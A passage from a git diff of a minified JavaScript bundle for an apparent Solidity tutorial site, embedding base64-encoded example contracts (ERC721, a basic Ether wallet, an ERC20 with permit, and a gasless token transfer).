RlLmxlbmd0aCA9PSAwCiAgICAgICAgICAgICAgICB8fCBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsICIiKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0cmFuc2ZlckZyb20oZnJvbSwgdG8sIGlkKTsKCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdG8uY29kZS5sZW5ndGggPT0gMAogICAgICAgICAgICAgICAgfHwgSUVSQzcyMVJlY2VpdmVyKHRvKS5vbkVSQzcyMVJlY2VpdmVkKG1zZy5zZW5kZXIsIGZyb20sIGlkLCBkYXRhKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgaWQpIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJtaW50IHRvIHplcm8gYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdID09IGFkZHJlc3MoMCksICJhbHJlYWR5IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4odWludDI1NiBpZCkgaW50ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZShvd25lciAhPSBhZGRyZXNzKDApLCAibm90IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW293bmVyXSAtPSAxOwoKICAgICAgICBkZWxldGUgX293bmVyT2ZbaWRdOwogICAgICAgIGRlbGV0ZSBfYXBwcm92YWxzW2lkXTsKCiAgICAgICAgZW1pdCBUcmFuc2Zlcihvd25lciwgYWRkcmVzcygwKSwgaWQpOwogICAgfQp9Cgpjb250cmFjdCBNeU5GVCBpcyBFUkM3MjEgewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBleHRlcm5hbCB7CiAgICAgICAgX21pbnQodG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gX293bmVyT2ZbaWRdLCAibm90IG93bmVyIik7CiAgICAgICAgX2J1cm4oaWQpOwogICAgfQp9Cg=="}],ZA=`

          Example of ERC721

          // SPDX-License-Identifier: MIT
           pragma solidity ^0.8.26;
           
          @@ -1971,7 +1971,7 @@ How to swap tokens
                   _burn(id);
               }
           }
          -
          `,ZA=({prev:s,next:a})=>r.jsx(A,{version:uA,title:yA,description:mA,cyfrinLink:bA,html:kA,prev:s,next:a,codes:wA}),WA="0.8.26",BA="Ether Wallet",GA="Simple example of wallet in Solidity",fA="https://www.cyfrin.io/glossary/ether-wallet-solidity-code-example",VA=[{fileName:"EtherWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],YA=`

          An example of a basic wallet.

          +`,WA=({prev:s,next:a})=>r.jsx(A,{version:yA,title:mA,description:bA,cyfrinLink:wA,html:ZA,prev:s,next:a,codes:kA}),GA="0.8.26",BA="Ether Wallet",fA="Simple example of wallet in Solidity",VA="https://www.cyfrin.io/glossary/ether-wallet-solidity-code-example",YA=[{fileName:"EtherWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],XA=`

          An example of a basic wallet.

          • Anyone can send ETH.
          • Only the owner can withdraw.
          • @@ -1997,7 +1997,7 @@ How to swap tokens return address(this).balance; } } -`,XA=({prev:s,next:a})=>r.jsx(A,{version:WA,title:BA,description:GA,cyfrinLink:fA,html:YA,prev:s,next:a,codes:VA}),vA="0.8.26",RA="Gasless Token Transfer",NA="Gasless ERC20 token transfer with Meta transaction",HA="https://www.cyfrin.io/glossary/gasless-token-transfer-solidity-code-example",FA=[{fileName:"ERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5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5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpIHsKICAgICAgICBuYW1lID0gX25hbWU7CiAgICAgICAgc3ltYm9sID0gX3N5bWJvbDsKICAgICAgICBkZWNpbWFscyA9IF9kZWNpbWFsczsKICAgICAgICBJTklUSUFMX0NIQUlOX0lEID0gYmxvY2suY2hhaW5pZDsKICAgICAgICBJTklUSUFMX0RPTUFJTl9TRVBBUkFUT1IgPSBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCk7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKG1zZy5zZW5kZXIsIHRvLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHVpbnQyNTYgYWxsb3dlZCA9IGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXTsgLy8gU2F2ZXMgZ2FzIGZvciBsaW1pdGVkIGFwcHJvdmFscy4KICAgICAgICBpZiAoYWxsb3dlZCAhPSB0eXBlKHVpbnQyNTYpLm1heCkgewogICAgICAgICAgICBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl0gPSBhbGxvd2VkIC0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwoKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgcHVibGljIHZpcnR1YWwgewogICAgICAgIHJlcXVpcmUoZGVhZGxpbmUgPj0gYmxvY2sudGltZXN0YW1wLCAiUEVSTUlUX0RFQURMSU5FX0VYUElSRUQiKTsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYWRkcmVzcyByZWNvdmVyZWRBZGRyZXNzID0gZWNyZWNvdmVyKAogICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgICAgICAgICAgICAgICJceDE5XHgwMSIsCiAgICAgICAgICAgICAgICAgICAgICAgIERPTUFJTl9TRVBBUkFUT1IoKSwKICAgICAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJQZXJtaXQoYWRkcmVzcyBvd25lcixhZGRyZXNzIHNwZW5kZXIsdWludDI1NiB2YWx1ZSx1aW50MjU2IG5vbmNlLHVpbnQyNTYgZGVhZGxpbmUpIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3duZXIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3BlbmRlciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBub25jZXNbb3duZXJdKyssCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVhZGxpbmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICB2LAogICAgICAgICAgICAgICAgciwKICAgICAgICAgICAgICAgIHMKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICByZWNvdmVyZWRBZGRyZXNzICE9IGFkZHJlc3MoMCkgJiYgcmVjb3ZlcmVkQWRkcmVzcyA9PSBvd25lciwKICAgICAgICAgICAgICAgICJJTlZBTElEX1NJR05FUiIKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIGFsbG93YW5jZVtyZWNvdmVyZWRBZGRyZXNzXVtzcGVuZGVyXSA9IHZhbHVlOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIERPTUFJTl9TRVBBUkFUT1IoKSBwdWJsaWMgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gYmxvY2suY2hhaW5pZCA9PSBJTklUSUFMX0NIQUlOX0lECiAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgIDogY29tcHV0ZURvbWFpblNlcGFyYXRvcigpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKSBpbnRlcm5hbCB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGUoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgIkVJUDcxMkRvbWFpbihzdHJpbmcgbmFtZSxzdHJpbmcgdmVyc2lvbix1aW50MjU2IGNoYWluSWQsYWRkcmVzcyB2ZXJpZnlpbmdDb250cmFjdCkiCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgIGtlY2NhazI1NigiMSIpLAogICAgICAgICAgICAgICAgYmxvY2suY2hhaW5pZCwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgYWRkcmVzcygwKSwgYW1vdW50KTsKICAgIH0KfQoKY29udHJhY3QgRVJDMjBQZXJtaXQgaXMgRVJDMjAgewogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpCiAgICAgICAgRVJDMjAoX25hbWUsIF9zeW1ib2wsIF9kZWNpbWFscykKICAgIHt9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgcHVibGljIHsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"GaslessTokenTransfer.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJ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GVybWl0KHRva2VuKS5wZXJtaXQoCiAgICAgICAgICAgIHNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50ICsgZmVlLCBkZWFkbGluZSwgdiwgciwgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2ZXIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo="}],KA=`

            Gasless ERC20 token transfer with Meta transaction

            +`,RA=({prev:s,next:a})=>r.jsx(A,{version:GA,title:BA,description:fA,cyfrinLink:VA,html:XA,prev:s,next:a,codes:YA}),vA="0.8.26",NA="Gasless Token Transfer",HA="Gasless ERC20 token transfer with Meta transaction",KA="https://www.cyfrin.io/glossary/gasless-token-transfer-solidity-code-example",FA=[{fileName:"ERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5pc3dhcC91bmlzd2FwLXYyLWNvcmUvYmxvYi9tYXN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1hbHMpIHsKICAgICAgICBuYW1lID0gX25hbWU7CiAgICAgICAgc3ltYm9sID0gX3N5bWJvbDsKICAgICAgICBkZWNpbWFscyA9IF9kZWNpbWFsczsKICAgICAgICBJTklUSUFMX0NIQUlOX0lEID0gYmxvY2suY2hhaW5pZDsKICAgICAgICBJTklUSUFMX0RPTUFJTl9TRVBBUkFUT1IgPSBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCk7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKG1zZy5zZW5kZXIsIHRvLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHVpbnQyNTYgYWxsb3dlZCA9IGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXTsgLy8gU2F2ZXMgZ2FzIGZvciBsaW1pdGVkIGFwcHJvdmFscy4KICAgICAgICBpZiAoYWxsb3dlZCAhPSB0eXBlKHVpbnQyNTYpLm1heCkgewogICAgICAgICAgICBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl0gPSBhbGxvd2VkIC0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwoKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgcHVibGljIHZpcnR1YWwgewogICAgICAgIHJlcXVpcmUoZGVhZGxpbmUgPj0gYmxvY2sudGltZXN0YW1wLCAiUEVSTUlUX0RFQURMSU5FX0VYUElSRUQiKTsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYWRkcmVzcyByZWNvdmVyZWRBZGRyZXNzID0gZWNyZWNvdmVyKAogICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgICAgICAgICAgICAgICJceDE5XHgwMSIsCiAgICAgICAgICAgICAgICAgICAgICAgIERPTUFJTl9TRVBBUkFUT1IoKSwKICAgICAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJQZXJtaXQoYWRkcmVzcyBvd25lcixhZGRyZXNzIHNwZW5kZXIsdWludDI1NiB2YWx1ZSx1aW50MjU2IG5vbmNlLHVpbnQyNTYgZGVhZGxpbmUpIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3duZXIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3BlbmRlciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBub25jZXNbb3duZXJdKyssCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVhZGxpbmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICB2LAogICAgICAgICAgICAgICAgciwKICAgICAgICAgICAgICAgIHMKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICByZWNvdmVyZWRBZGRyZXNzICE9IGFkZHJlc3MoMCkgJiYgcmVjb3ZlcmVkQWRkcmVzcyA9PSBvd25lciwKICAgICAgICAgICAgICAgICJJTlZBTElEX1NJR05FUiIKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIGFsbG93YW5jZVtyZWNvdmVyZWRBZGRyZXNzXVtzcGVuZGVyXSA9IHZhbHVlOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIERPTUFJTl9TRVBBUkFUT1IoKSBwdWJsaWMgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gYmxvY2suY2hhaW5pZCA9PSBJTklUSUFMX0NIQUlOX0lECiAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgIDogY29tcHV0ZURvbWFpblNlcGFyYXRvcigpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKSBpbnRlcm5hbCB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGUoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgIkVJUDcxMkRvbWFpbihzdHJpbmcgbmFtZSxzdHJpbmcgdmVyc2lvbix1aW50MjU2IGNoYWluSWQsYWRkcmVzcyB2ZXJpZnlpbmdDb250cmFjdCkiCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgIGtlY2NhazI1NigiMSIpLAogICAgICAgICAgICAgICAgYmxvY2suY2hhaW5pZCwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgYWRkcmVzcygwKSwgYW1vdW50KTsKICAgIH0KfQoKY29udHJhY3QgRVJDMjBQZXJtaXQgaXMgRVJDMjAgewogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpCiAgICAgICAgRVJDMjAoX25hbWUsIF9zeW1ib2wsIF9kZWNpbWFscykKICAgIHt9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgcHVibGljIHsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"GaslessTokenTransfer.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHk